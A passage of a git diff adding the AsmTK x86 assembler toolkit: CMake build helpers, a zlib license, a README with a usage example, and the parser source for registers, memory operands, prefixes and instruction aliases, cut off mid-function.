set(${PRODUCT}_PRIVATE_CFLAGS_REL "${PRIVATE_CFLAGS_REL}" PARENT_SCOPE) + set(${PRODUCT}_PRIVATE_LFLAGS "${PRIVATE_LFLAGS}" PARENT_SCOPE) + endfunction() + + function(cxx_project_info product) + string(TOUPPER "${product}" PRODUCT) + + set(BUILD_MODE "") + set(BUILD_TEST "") + + if(${PRODUCT}_EMBED) + set(BUILD_MODE "Embed") + elseif(${PRODUCT}_STATIC) + set(BUILD_MODE "Static") + else() + set(BUILD_MODE "Shared") + endif() + + if(${PRODUCT}_BUILD_TEST) + set(BUILD_TEST "On") + else() + set(BUILD_TEST "Off") + endif() + + message("-- [${product}]") + message(" BuildMode=${BUILD_MODE}") + message(" BuildTest=${BUILD_TEST}") + message(" ${PRODUCT}_DIR=${${PRODUCT}_DIR}") + message(" ${PRODUCT}_DEPS=${${PRODUCT}_DEPS}") + message(" ${PRODUCT}_LIBS=${${PRODUCT}_LIBS}") + message(" ${PRODUCT}_CFLAGS=${${PRODUCT}_CFLAGS}") + message(" ${PRODUCT}_SOURCE_DIR=${${PRODUCT}_SOURCE_DIR}") + message(" ${PRODUCT}_INCLUDE_DIR=${${PRODUCT}_INCLUDE_DIR}") + message(" ${PRODUCT}_PRIVATE_CFLAGS=") + cxx_print_cflags( + "${${PRODUCT}_PRIVATE_CFLAGS}" + "${${PRODUCT}_PRIVATE_CFLAGS_DBG}" + "${${PRODUCT}_PRIVATE_CFLAGS_REL}") + endfunction() + + function(cxx_add_source product out src_dir) + string(TOUPPER "${product}" PRODUCT) + + set(src_path "${${PRODUCT}_SOURCE_DIR}/${src_dir}") + set(src_array) + + foreach(file ${ARGN}) + set(src_file "${src_path}/${file}") + set(src_cflags "") + + if(file MATCHES "\\.c|\\.cc|\\.cxx|\\.cpp|\\.m|\\.mm") + if(file MATCHES "_sse\\." AND NOT "${CXX_CFLAGS_SSE}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE}) + endif() + if(file MATCHES "_sse2\\." AND NOT "${CXX_CFLAGS_SSE2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE2}) + endif() + if(file MATCHES "_sse3\\." AND NOT "${CXX_CFLAGS_SSE3}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE3}) + endif() + if(file MATCHES "_ssse3\\." AND NOT "${CXX_CFLAGS_SSSE3}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSSE3}) + endif() + if(file MATCHES "_sse4_1\\." AND NOT "${CXX_CFLAGS_SSE4_1}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE4_1}) + endif() + if(file MATCHES "_sse4_2\\." AND NOT "${CXX_CFLAGS_SSE4_2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE4_2}) + endif() + if(file MATCHES "_avx\\." AND NOT "${CXX_CFLAGS_AVX}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_AVX}) + endif() + if(file MATCHES "_avx2\\." AND NOT "${CXX_CFLAGS_AVX2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_AVX2}) + endif() + + # HACK: Setting `COMPILE_FLAGS` property cannot be used when your input + # is LIST, even when you use `VALUE1 VALUE2 ...` as cmake would insert + # escaped semicolons instead of spaces. So let's make it the cmake way: + # - nonituitive, verbose, and idiotic. + if(NOT "${src_cflags}" STREQUAL "") + foreach(src_cflag ${src_cflags}) + set_property(SOURCE "${src_file}" APPEND_STRING PROPERTY COMPILE_FLAGS " ${src_cflag}") + endforeach() + endif() + endif() + list(APPEND src_array ${src_file}) + endforeach() + source_group(${src_dir} FILES ${src_array}) + + set(out_tmp ${${out}}) + list(APPEND out_tmp ${src_array}) + set("${out}" "${out_tmp}" PARENT_SCOPE) + endfunction() + + function(cxx_add_library product target src deps cflags cflags_dbg cflags_rel) + string(TOUPPER "${product}" PRODUCT) + + if(NOT ${PRODUCT}_STATIC) + add_library(${target} SHARED ${src}) + else() + add_library(${target} STATIC ${src}) + endif() + + target_link_libraries(${target} ${deps}) + if (NOT "${${PRODUCT}_PRIVATE_LFLAGS}" STREQUAL "") + set_target_properties(${target} PROPERTIES LINK_FLAGS "${${PRODUCT}_PRIVATE_LFLAGS}") + endif() + + if(CMAKE_BUILD_TYPE) + if("${CMAKE_BUILD_TYPE}" STREQUAL "Debug") + target_compile_options(${target} PRIVATE ${cflags} ${cflags_dbg}) + else() + target_compile_options(${target} PRIVATE ${cflags} ${cflags_rel}) + endif() + else() + target_compile_options(${target} PRIVATE ${cflags} $<$:${cflags_dbg}> $<$>:${cflags_rel}>) + endif() + + if(NOT ${PRODUCT}_STATIC) + install(TARGETS ${target} RUNTIME DESTINATION "bin" + LIBRARY DESTINATION "lib${LIB_SUFFIX}" + ARCHIVE DESTINATION "lib${LIB_SUFFIX}") + endif() + endfunction() + + function(cxx_add_executable product target src deps cflags cflags_dbg cflags_rel) + string(TOUPPER "${product}" PRODUCT) + add_executable(${target} ${src}) + + target_link_libraries(${target} ${deps}) + if (NOT "${${PRODUCT}_PRIVATE_LFLAGS}" STREQUAL "") + set_target_properties(${target} PROPERTIES LINK_FLAGS "${${PRODUCT}_PRIVATE_LFLAGS}") + endif() + + if(CMAKE_BUILD_TYPE) + if("${CMAKE_BUILD_TYPE}" STREQUAL "Debug") + target_compile_options(${target} PRIVATE ${cflags} ${cflags_dbg}) + else() + target_compile_options(${target} PRIVATE ${cflags} ${cflags_rel}) + endif() + else() + target_compile_options(${target} PRIVATE ${cflags} $<$:${cflags_dbg}> $<$>:${cflags_rel}>) + endif() + + if(NOT ${PRODUCT}_STATIC) + install(TARGETS ${target} DESTINATION "lib${LIB_SUFFIX}") + endif() + endfunction() +endif() diff --git a/asmtk/LICENSE.md b/asmtk/LICENSE.md new file mode 100644 index 0000000..62489bc --- /dev/null +++ b/asmtk/LICENSE.md @@ -0,0 +1,18 @@ +AsmTK - Assembler toolkit based on AsmJit +Copyright (c) 2016, Petr Kobalicek + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. +2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. +3. This notice may not be removed or altered from any source distribution. diff --git a/asmtk/README.md b/asmtk/README.md new file mode 100644 index 0000000..16d62c8 --- /dev/null +++ b/asmtk/README.md @@ -0,0 +1,114 @@ +AsmTK +----- + +Assembler toolkit based on AsmJit. + + * [Official Repository (asmjit/asmtk)](https://github.com/asmjit/asmtk) + * [Official Blog (asmbits)](https://asmbits.blogspot.com/ncr) + * [Official Chat (gitter)](https://gitter.im/asmjit/asmjit) + * [Permissive ZLIB license](./LICENSE.md) + +Introduction +------------ + +AsmTK is a sister project of AsmJit library, which provides concepts that are useful mostly in AOT code-generation. + +Features +-------- + + * Both X86 and X64 modes are supported and can be selected at runtime (i.e. they not depend on how your application is compiled). + * Asm parser can parse everything that AsmJit provides (i.e. supports all instruction sets, named labels, etc...). + * Asm parser can also parse instruction aliases defined by AsmTK (like `movsb`, `cmpsb`, `sal`, ...). AsmJit provides just generic `movs`, `cmps`, etc... so these are extras that are handled and recognized by AsmTK. + * Assembles to any `CodeEmitter`, which means that you can choose between `Assembler` and `CodeBuilder` at runtime, and that the result can be post-processed as well + * More to be added... + +TODO +---- + + * [ ] More aliases to some SIMD instructions (to be added). + * [ ] Implement asmtk::Linker that will add the possibility to write shared libraries and executables. + +AsmParser Usage Guide +--------------------- + +Assembler parsing is provided by `AsmParser` class, which emits to `CodeEmitter`: + +```C++ +#include + +using namespace asmjit; +using namespace asmtk; + +// Used to print binary code as hex. +static void dumpCode(const uint8_t* buf, size_t len) { + enum { kCharsPerLine = 39 }; + char hex[kCharsPerLine * 2 + 1]; + + size_t i = 0; + while (i < len) { + size_t j = 0; + size_t end = len - i < kCharsPerLine ? len - i : size_t(kCharsPerLine); + + end += i; + while (i < end) { + uint8_t b0 = buf[i] >> 4; + uint8_t b1 = buf[i] & 15; + + hex[j++] = b0 < 10 ? '0' + b0 : 'A' + b0 - 10; + hex[j++] = b1 < 10 ? '0' + b1 : 'A' + b1 - 10; + i++; + } + + hex[j] = '\0'; + puts(hex); + } +} + +int main(int argc, char* argv[]) { + // Setup CodeHolder for X64. + CodeInfo ci(ArchInfo::kTypeX64); + CodeHolder code; + code.init(ci); + + // Attach X86Assembler `code`. + X86Assembler a(&code); + + // Create AsmParser that will emit to X86Assembler. + AsmParser p(&a); + + // Parse some assembly. + Error err = p.parse( + "mov rax, rbx\n" + "vaddpd zmm0, zmm1, [rax + 128]\n"); + + // Error handling (use asmjit::ErrorHandler for more robust error handling). + if (err) { + printf("ERROR: %08x (%s)\n", err, DebugUtils::errorAsString(err)); + return 1; + } + + // If we are done, you must detach the Assembler from CodeHolder or sync + // it, so its internal state and position is synced with CodeHolder. + code.sync(); + + // Now you can print the code, which is stored in the first section (.text). + CodeBuffer& buffer = code.getSectionEntry(0)->getBuffer(); + dumpCode(buffer.getData(), buffer.getLength()); + + return 0; +} +``` + +You should check out the test directory to see how AsmTK integrates with AsmJit. + +Support +------- + +Please consider a donation if you use the project and would like to keep it active in the future. + + * [Donate by PayPal](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=QDRM6SRNG7378&lc=EN;&item_name=asmtk¤cy_code=EUR) + +Authors & Maintainers +--------------------- + + * Petr Kobalicek diff --git a/asmtk/src/asmtk/asmparser.cpp b/asmtk/src/asmtk/asmparser.cpp new file mode 100644 index 0000000..159e018 --- /dev/null +++ b/asmtk/src/asmtk/asmparser.cpp @@ -0,0 +1,979 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include "./asmparser.h" + +namespace asmtk { + +using namespace asmjit; + +// ============================================================================ +// [asmtk::X86Alias] +// ============================================================================ + +enum X86Alias { + kX86AliasStart = 0x00010000U, + + kX86AliasMovabs = kX86AliasStart, + + kX86AliasInsb, + kX86AliasInsd, + kX86AliasInsw, + + kX86AliasOutsb, + kX86AliasOutsd, + kX86AliasOutsw, + + kX86AliasCmpsb, + kX86AliasCmpsd, + kX86AliasCmpsq, + kX86AliasCmpsw, + + kX86AliasMovsb, + kX86AliasMovsd, + kX86AliasMovsq, + kX86AliasMovsw, + + kX86AliasLodsb, + kX86AliasLodsd, + kX86AliasLodsq, + kX86AliasLodsw, + + kX86AliasScasb, + kX86AliasScasd, + kX86AliasScasq, + kX86AliasScasw, + + kX86AliasStosb, + kX86AliasStosd, + kX86AliasStosq, + kX86AliasStosw +}; + +// ============================================================================ +// [asmtk::AsmParser] +// ============================================================================ + +AsmParser::AsmParser(CodeEmitter* emitter) + : _emitter(emitter), + _unknownSymbolHandler(NULL), + _unknownSymbolHandlerData(NULL) {} +AsmParser::~AsmParser() {} + +// ============================================================================ +// [asmtk::AsmParser - Parse] +// ============================================================================ + +static void strToLower(uint8_t* dst, const uint8_t* src, size_t len) { + for (size_t i = 0; i < len; i++) + dst[i] = Utils::toLower(static_cast(src[i])); +} + +#define COMB_CHAR_2(a, b) \ + ((uint32_t(a) << 8) | uint32_t(b)) + +#define COMB_CHAR_4(a, b, c, d) \ + ((uint32_t(a) << 24) | (uint32_t(b) << 16) | (uint32_t(c) << 8) | uint32_t(d)) + +static bool x86ParseRegister(Operand_& op, const uint8_t* s, size_t len) { + enum { + kMinRegLen = 2, + kMaxRegLen = 5 + }; + + if (len < kMinRegLen || len > kMaxRegLen) return false; + const uint8_t* sEnd = s + len; + + uint32_t c0 = Utils::toLower(s[0]); + uint32_t c1 = Utils::toLower(s[1]); + uint32_t c2 = len > 2 ? Utils::toLower(s[2]) : uint32_t(0); + uint32_t cn = (c0 << 8) + c1; + + uint32_t rType = X86Reg::kRegNone; + uint32_t rId = 0; + + static const uint8_t abcdTo0312[] = { 0, 3, 1, 2 }; + + // [AL|BL|CL|DL] + // [AH|BH|CH|DH] + // [AX|BX|CX|DX] + // [ES|CS|SS|DS|FS|GS] + if (len == 2) { + if (c0 >= 'a' && c0 <= 'd') { + rId = abcdTo0312[c0 - 'a']; + if (c1 == 'l') { rType = X86Reg::kRegGpbLo; goto Done; } + if (c1 == 'h') { rType = X86Reg::kRegGpbHi; goto Done; } + if (c1 == 'x') { rType = X86Reg::kRegGpw ; goto Done; } + } + + if (c1 == 's') { + rType = X86Reg::kRegSeg; + if (c0 == 'e') { rId = X86Seg::kIdEs; goto Done; } + if (c0 == 'c') { rId = X86Seg::kIdCs; goto Done; } + if (c0 == 's') { rId = X86Seg::kIdSs; goto Done; } + if (c0 == 'd') { rId = X86Seg::kIdDs; goto Done; } + if (c0 == 'f') { rId = X86Seg::kIdFs; goto Done; } + if (c0 == 'g') { rId = X86Seg::kIdGs; goto Done; } + } + + rType = X86Reg::kRegGpw; + goto TrySpBpSiDi; + } + + // [SP|BP|SI|DI] + // [SPL|BPL|SIL|DIL] + // [EAX|EBX|ECX|EDX|ESP|EBP|EDI|ESI] + // [RAX|RBX|RCX|RDX|RSP|RBP|RDI|RSI] + // [RIP] + if (len == 3) { + if (c2 == 'l') { + rType = X86Reg::kRegGpbLo; + goto TrySpBpSiDi; + } + + if (c0 == 'e' || c0 == 'r') { + cn = (c1 << 8) | c2; + + if (c0 == 'r' && cn == COMB_CHAR_2('i', 'p')) { + rType = X86Reg::kRegRip; + goto Done; + } + + rType = (c0 == 'e') ? X86Reg::kRegGpd : X86Reg::kRegGpq; + if (cn == COMB_CHAR_2('a', 'x')) { rId = X86Gp::kIdAx; goto Done; } + if (cn == COMB_CHAR_2('d', 'x')) { rId = X86Gp::kIdDx; goto Done; } + if (cn == COMB_CHAR_2('b', 'x')) { rId = X86Gp::kIdBx; goto Done; } + if (cn == COMB_CHAR_2('c', 'x')) { rId = X86Gp::kIdCx; goto Done; } + +TrySpBpSiDi: + if (cn == COMB_CHAR_2('s', 'p')) { rId = X86Gp::kIdSp; goto Done; } + if (cn == COMB_CHAR_2('b', 'p')) { rId = X86Gp::kIdBp; goto Done; } + if (cn == COMB_CHAR_2('s', 'i')) { rId = X86Gp::kIdSi; goto Done; } + if (cn == COMB_CHAR_2('d', 'i')) { rId = X86Gp::kIdDi; goto Done; } + } + } + + // [R?|R?B|R?W|R?D] + if (c0 == 'r') { + s++; + rType = X86Reg::kRegGpq; + + // Handle 'b', 'w', and 'd' suffixes. + c2 = Utils::toLower(sEnd[-1]); + if (c2 == 'b') + rType = X86Reg::kRegGpbLo; + else if (c2 == 'w') + rType = X86Reg::kRegGpw; + else if (c2 == 'd') + rType = X86Reg::kRegGpd; + sEnd -= (rType != X86Reg::kRegGpq); + } + // [XMM?|YMM?|ZMM?] + else if (c0 >= 'x' && c0 <= 'z' && c1 == 'm' && c2 == 'm') { + s += 3; + rType = X86Reg::kRegXmm + (c0 - 'x'); + } + // [K?] + else if (c0 == 'k') { + s++; + rType = X86Reg::kRegK; + } + // [ST?|FP?] + else if ((c0 == 's' && c1 == 't') | (c0 == 'f' && c1 == 'p')) { + s += 2; + rType = X86Reg::kRegFp; + } + // [MM?] + else if (c0 == 'm' && c1 == 'm') { + s += 2; + rType = X86Reg::kRegMm; + } + // [BND?] + else if (c0 == 'b' && c1 == 'n' && c2 == 'd') { + s += 3; + rType = X86Reg::kRegBnd; + } + // [CR?] + else if (c0 == 'c' && c1 == 'r') { + s += 2; + rType = X86Reg::kRegCr; + } + // [DR?] + else if (c0 == 'd' && c1 == 'r') { + s += 2; + rType = X86Reg::kRegDr; + } + else { + return false; + } + + // Parse the register index. + rId = static_cast(s[0]) - '0'; + if (rId >= 10) return false; + + if (++s < sEnd) { + c0 = static_cast(*s++) - '0'; + if (c0 >= 10) return false; + rId = rId * 10 + c0; + + // Maximum register + if (rId >= 32) return false; + } + + // Fail if the whole input wasn't parsed. + if (s != sEnd) return false; + + // Fail if the register index is greater than allowed. + if (rId >= x86OpData.archRegs.regCount[rType]) return false; + +Done: + op._initReg(x86OpData.archRegs.regInfo[rType].getSignature(), rId); + return true; +} + +static uint32_t x86ParseSize(const uint8_t* s, size_t len) { + enum { + kMinSizeLen = 4, + kMaxSizeLen = 7 + }; + + if (len < kMinSizeLen || len > kMaxSizeLen) + return 0; + + // Start from the end. + uint32_t d = (Utils::toLower(s[len - 4]) << 24) + + (Utils::toLower(s[len - 3]) << 16) + + (Utils::toLower(s[len - 2]) << 8) + + (Utils::toLower(s[len - 1]) << 0) ; + + if (d == COMB_CHAR_4('w', 'o', 'r', 'd')) { + // Parsed 'word'. + if (len == 4) return 2; + + // Sizes of length '5': + d = (Utils::toLower(s[0]) << 24); + if (len == 5) { + // Check the most common first. + if (d == COMB_CHAR_4('d', 0, 0, 0)) return 4; + if (d == COMB_CHAR_4('q', 0, 0, 0)) return 8; + if (d == COMB_CHAR_4('o', 0, 0, 0)) return 16; + + // `fword` (aka far word, 16:32 m48 pointer) and `tword` (m80). + if (d == COMB_CHAR_4('f', 0, 0, 0)) return 6; + if (d == COMB_CHAR_4('t', 0, 0, 0)) return 10; + } + + // Sizes of length '6': + d += (Utils::toLower(s[1]) << 16); + if (len == 6) { + if (d == COMB_CHAR_4('m', 'm', 0, 0)) return 8; + if (d == COMB_CHAR_4('d', 'q', 0, 0)) return 16; + if (d == COMB_CHAR_4('q', 'q', 0, 0)) return 32; + } + + // Sizes of length '7': + d += (Utils::toLower(s[2]) << 8); + if (len == 7) { + if (d == COMB_CHAR_4('x', 'm', 'm', 0)) return 16; + if (d == COMB_CHAR_4('y', 'm', 'm', 0)) return 32; + if (d == COMB_CHAR_4('z', 'm', 'm', 0)) return 64; + } + } + + // Parsed 'byte'. + if (d == COMB_CHAR_4('b', 'y', 't', 'e')) + return len == 4 ? 1 : 0; + else + return 0; +} + +static Error asmHandleSymbol(AsmParser& parser, Operand_& dst, const uint8_t* name, size_t len) { + Label L = parser._emitter->getLabelByName(reinterpret_cast(name), len); + + if (!L.isValid()) { + if (parser.hasUnknownSymbolHandler()) { + Error err = parser._unknownSymbolHandler(&parser, + static_cast(&dst), reinterpret_cast(name), len); + + if (err) + return err; + + if (!dst.isNone()) + return kErrorOk; + } + + L = parser._emitter->newNamedLabel(reinterpret_cast(name), len); + if (!L.isValid()) return DebugUtils::errored(kErrorNoHeapMemory); + } + + dst = L; + return kErrorOk; +} + +static Error x86ParseOperand(AsmParser& parser, Operand_& dst, AsmToken* token) { + uint32_t type = token->type; + uint32_t memSize = 0; + Operand seg; + + // Symbol, could be register, memory operand size, or label. + if (type == AsmToken::kSym) { + // Try register. + if (x86ParseRegister(dst, token->data, token->len)) { + if (!dst.as().isSeg()) + return kErrorOk; + + // A segment register followed by a colon (':') describes a segment of a + // memory operand - in such case we store the segment and jump to MemOp. + AsmToken tTmp; + if (parser._tokenizer.next(token) == AsmToken::kColon && + parser._tokenizer.next(&tTmp) == AsmToken::kLBracket) { + seg = dst; + goto MemOp; + } + parser._tokenizer.back(token); + return kErrorOk; + } + + // Try memory size specifier. + memSize = x86ParseSize(token->data, token->len); + if (memSize) { + type = parser._tokenizer.next(token); + + // The specifier may be followed by 'ptr', skip it in such case. + if (type == AsmToken::kSym && + token->len == 3 && + Utils::toLower(token->data[0]) == 'p' && + Utils::toLower(token->data[1]) == 't' && + Utils::toLower(token->data[2]) == 'r') { + type = parser._tokenizer.next(token); + } + + // Jump to memory operand if we encountered '['. + if (type == AsmToken::kLBracket) + goto MemOp; + + // Parse segment prefix otherwise. + if (type == AsmToken::kSym) { + // Segment register. + if (!x86ParseRegister(seg, token->data, token->len) || !seg.as().isSeg()) + return DebugUtils::errored(kErrorInvalidAddress); + + type = parser._tokenizer.next(token); + if (type != AsmToken::kColon) + return DebugUtils::errored(kErrorInvalidAddress); + + type = parser._tokenizer.next(token); + if (type == AsmToken::kLBracket) + goto MemOp; + } + + return DebugUtils::errored(kErrorInvalidAddress); + } + + // Must be label/symbol. + return asmHandleSymbol(parser, dst, token->data, token->len); + } + + // Memory address - parse opening '['. + if (type == AsmToken::kLBracket) { +MemOp: + Operand base; + Operand index; + + uint32_t shift = 0; + uint32_t flags = 0; + uint64_t offset = 0; + + // Parse address prefix - 'abs'. + type = parser._tokenizer.next(token); + if (type == AsmToken::kSym) { + if (token->len == 3) { + uint32_t chars = (Utils::toLower(token->data[0]) << 24) | + (Utils::toLower(token->data[1]) << 16) | + (Utils::toLower(token->data[2]) << 8) ; + + if (chars == COMB_CHAR_4('a', 'b', 's', 0)) { + flags |= Mem::kSignatureMemAbs; + type = parser._tokenizer.next(token); + } + else if (chars == COMB_CHAR_4('r', 'e', 'l', 0)) { + flags |= Mem::kSignatureMemRel; + type = parser._tokenizer.next(token); + } + else if (chars == COMB_CHAR_4('w', 'r', 't', 0)) { + flags |= Mem::kSignatureMemWrt; + type = parser._tokenizer.next(token); + } + } + } + + // Parse "[base] + [index [* scale]] + [offset]" parts. + uint32_t opType = AsmToken::kAdd; + for (;;) { + if (type == AsmToken::kSym) { + if (opType != AsmToken::kAdd) + return DebugUtils::errored(kErrorInvalidAddress); + + Operand reg; + if (!x86ParseRegister(reg, token->data, token->len)) + return DebugUtils::errored(kErrorInvalidAddress); + + type = parser._tokenizer.next(token); + opType = AsmToken::kInvalid; + + if (type != AsmToken::kMul) { + // Prefer base, then index. + if (base.isNone()) + base = reg; + else if (index.isNone()) + index = reg; + else + return DebugUtils::errored(kErrorInvalidAddress); + continue; + } + else { + // Must be index. + if (index.isNone()) + index = reg; + else + return DebugUtils::errored(kErrorInvalidAddress); + + type = parser._tokenizer.next(token); + if (type != AsmToken::kU64) + return DebugUtils::errored(kErrorInvalidAddressScale); + + switch (token->u64) { + case 1: shift = 0; break; + case 2: shift = 1; break; + case 4: shift = 2; break; + case 8: shift = 3; break; + default: + return DebugUtils::errored(kErrorInvalidAddressScale); + } + } + } + else if (type == AsmToken::kU64) { + if (opType == AsmToken::kAdd) { + offset += token->u64; + opType = AsmToken::kInvalid; + } + else if (opType == AsmToken::kSub) { + offset -= token->u64; + opType = AsmToken::kInvalid; + } + else { + return DebugUtils::errored(kErrorInvalidAddress); + } + } + else if (type == AsmToken::kAdd) { + if (opType == AsmToken::kInvalid) + opType = type; + } + else if (type == AsmToken::kSub) { + if (opType == AsmToken::kInvalid) + opType = type; + else + opType = opType == AsmToken::kSub ? AsmToken::kAdd : AsmToken::kSub; + } + else if (type == AsmToken::kRBracket) { + if (opType != AsmToken::kInvalid) + return DebugUtils::errored(kErrorInvalidAddress); + + // Reverse base and index if base is a vector register. + if (X86Reg::isVec(base)) { + if (index.isReg()) + return DebugUtils::errored(kErrorInvalidAddress); + std::swap(base, index); + } + + if (base.isReg()) { + if (!Utils::isInt32(static_cast(offset)) && + !Utils::isUInt32(static_cast(offset))) + return DebugUtils::errored(kErrorInvalidAddress64Bit); + + int32_t disp32 = static_cast(offset & 0xFFFFFFFFU); + if (!index.isReg()) + dst = x86::ptr(base.as(), disp32); + else + dst = x86::ptr(base.as(), index.as(), shift, disp32); + } + else { + if (!index.isReg()) + dst = x86::ptr(offset); + else + dst = x86::ptr(offset, index.as(), shift); + } + + dst.as().setSize(memSize); + dst._addSignatureData(flags); + + if (seg.isReg()) + dst.as().setSegment(seg.as()); + + return kErrorOk; + break; + } + else { + return DebugUtils::errored(kErrorInvalidAddress); + } + + type = parser._tokenizer.next(token); + } + } + + // Immediate. + if (type == AsmToken::kU64 || type == AsmToken::kSub) { + bool negative = (type == AsmToken::kSub); + if (negative) { + type = parser._tokenizer.next(token); + if (type != AsmToken::kU64) + return DebugUtils::errored(kErrorInvalidState); + } + + dst = imm(negative ? -token->i64 : token->i64); + return kErrorOk; + } + + return DebugUtils::errored(kErrorInvalidState); +} + +static uint32_t x86ParseOption(const uint8_t* s, size_t len) { + enum { + kMinOptionLen = 3, + kMaxOptionLen = 8 + }; + + if (len < kMinOptionLen || len > kMaxOptionLen) + return 0; + + uint32_t d0 = (static_cast(s[0]) << 24) + + (static_cast(s[1]) << 16) + + (static_cast(s[2]) << 8) ; + + // Options of length '3': + if (len == 3) { + if (d0 == COMB_CHAR_4('r', 'e', 'p', 0)) return X86Inst::kOptionRep; + if (d0 == COMB_CHAR_4('r', 'e', 'x', 0)) return X86Inst::kOptionRex; + return 0; + } + + // Options of length '4': + d0 += static_cast(s[3]); + if (len == 4) { + if (d0 == COMB_CHAR_4('l', 'o', 'c', 'k')) return X86Inst::kOptionLock; + if (d0 == COMB_CHAR_4('r', 'e', 'p', 'z')) return X86Inst::kOptionRep; + if (d0 == COMB_CHAR_4('r', 'e', 'p', 'e')) return X86Inst::kOptionRep; + if (d0 == COMB_CHAR_4('l', 'o', 'n', 'g')) return X86Inst::kOptionLongForm; + if (d0 == COMB_CHAR_4('v', 'e', 'x', '3')) return X86Inst::kOptionVex3; + if (d0 == COMB_CHAR_4('e', 'v', 'e', 'x')) return X86Inst::kOptionEvex; + return 0; + } + + // Options of length '5': + if (len == 5) { + uint32_t d1 = static_cast(s[4]) << 24; + + if (d0 == COMB_CHAR_4('r', 'e', 'p', 'n') && d1 == COMB_CHAR_4('e', 0, 0, 0)) return X86Inst::kOptionRepnz; + if (d0 == COMB_CHAR_4('r', 'e', 'p', 'n') && d1 == COMB_CHAR_4('z', 0, 0, 0)) return X86Inst::kOptionRepnz; + if (d0 == COMB_CHAR_4('s', 'h', 'o', 'r') && d1 == COMB_CHAR_4('t', 0, 0, 0)) return X86Inst::kOptionShortForm; + if (d0 == COMB_CHAR_4('m', 'o', 'd', 'm') && d1 == COMB_CHAR_4('r', 0, 0, 0)) return X86Inst::kOptionModMR; + return 0; + } + + // Options of length '8': + if (len == 8) { + uint32_t d1 = (static_cast(s[4]) << 24) | + (static_cast(s[5]) << 16) | + (static_cast(s[6]) << 8) | + (static_cast(s[7]) << 0) ; + + if (d0 == COMB_CHAR_4('x', 'a', 'c', 'q') && d1 == COMB_CHAR_4('u', 'i', 'r', 'e')) return X86Inst::kOptionXAcquire; + if (d0 == COMB_CHAR_4('x', 'r', 'e', 'l') && d1 == COMB_CHAR_4('e', 'a', 's', 'e')) return X86Inst::kOptionXRelease; + } + + // Should be unreachable. + return 0; +} + +static uint32_t x86ParseAlias(const uint8_t* s, size_t len) { + if (len < 3) + return Inst::kIdNone; + + uint32_t d0 = (static_cast(s[0]) << 24) + + (static_cast(s[1]) << 16) + + (static_cast(s[2]) << 8) ; + if (len == 3) { + if (d0 == COMB_CHAR_4('s', 'a', 'l', 0)) return X86Inst::kIdShl; + return Inst::kIdNone; + } + + d0 += (static_cast(s[3]) << 0); + if (len == 4) { + if (d0 == COMB_CHAR_4('i', 'n', 's', 'b')) return kX86AliasInsb; + if (d0 == COMB_CHAR_4('i', 'n', 's', 'd')) return kX86AliasInsd; + if (d0 == COMB_CHAR_4('i', 'n', 's', 'w')) return kX86AliasInsw; + return Inst::kIdNone; + } + + uint32_t d1 = (static_cast(s[4]) << 24); + if (len == 5) { + uint32_t base = 0; + + if (d0 == COMB_CHAR_4('c', 'm', 'p', 's')) { + base = kX86AliasCmpsb; + } + else if (d0 == COMB_CHAR_4('l', 'o', 'd', 's')) { + base = kX86AliasLodsb; + } + else if (d0 == COMB_CHAR_4('m', 'o', 'v', 's')) { + base = kX86AliasMovsb; + } + else if (d0 == COMB_CHAR_4('s', 'c', 'a', 's')) { + base = kX86AliasScasb; + } + else if (d0 == COMB_CHAR_4('s', 't', 'o', 's')) { + base = kX86AliasStosb; + } + else if (d0 == COMB_CHAR_4('o', 'u', 't', 's')) { + if (d1 == COMB_CHAR_4('b', 0, 0, 0)) return kX86AliasOutsb; + if (d1 == COMB_CHAR_4('d', 0, 0, 0)) return kX86AliasOutsd; + if (d1 == COMB_CHAR_4('w', 0, 0, 0)) return kX86AliasOutsw; + return Inst::kIdNone; + } + else { + return Inst::kIdNone; + } + + if (d1 == COMB_CHAR_4('b', 0, 0, 0)) return base + 0; + if (d1 == COMB_CHAR_4('d', 0, 0, 0)) return base + 1; + if (d1 == COMB_CHAR_4('q', 0, 0, 0)) return base + 2; + if (d1 == COMB_CHAR_4('w', 0, 0, 0)) return base + 3; + + return Inst::kIdNone; + } + + d1 += static_cast(s[5]) << 16; + if (len == 6) { + if (d0 == COMB_CHAR_4('m', 'o', 'v', 'a') && d1 == COMB_CHAR_4('b', 's', 0, 0)) return kX86AliasMovabs; + } + + return Inst::kIdNone; +} + +static Error x86ParseInstruction(AsmParser& parser, uint32_t& instId, uint32_t& options, AsmToken* token) { + for (;;) { + size_t len = token->len; + uint8_t lower[32]; + + if (len > ASMJIT_ARRAY_SIZE(lower)) + return DebugUtils::errored(kErrorInvalidInstruction); + + strToLower(lower, token->data, len); + + // Try to match instruction alias, as there are some tricky ones. + instId = x86ParseAlias(lower, len); + if (instId == Inst::kIdNone) { + // If that didn't work out, try to match instruction as defined by AsmJit. + instId = X86Inst::getIdByName(reinterpret_cast(lower), len); + } + + if (instId == Inst::kIdNone) { + // Maybe it's an option / prefix? + uint32_t option = x86ParseOption(lower, len); + if (!(option)) + return DebugUtils::errored(kErrorInvalidInstruction); + + // Refuse to parse the same option specified multiple times. + if (ASMJIT_UNLIKELY(options & option)) + return DebugUtils::errored(kErrorInvalidInstruction); + options |= option; + + if (parser._tokenizer.next(token) != AsmToken::kSym) + return DebugUtils::errored(kErrorInvalidInstruction); + } + else { + // Ok, we have an instruction. Now let's parse the next token and decide if + // it belongs to the instruction or not. This is required to parse things + // such "jmp short" although we prefer "short jmp" (but the former is valid + // in other assemblers). + if (parser._tokenizer.next(token) == 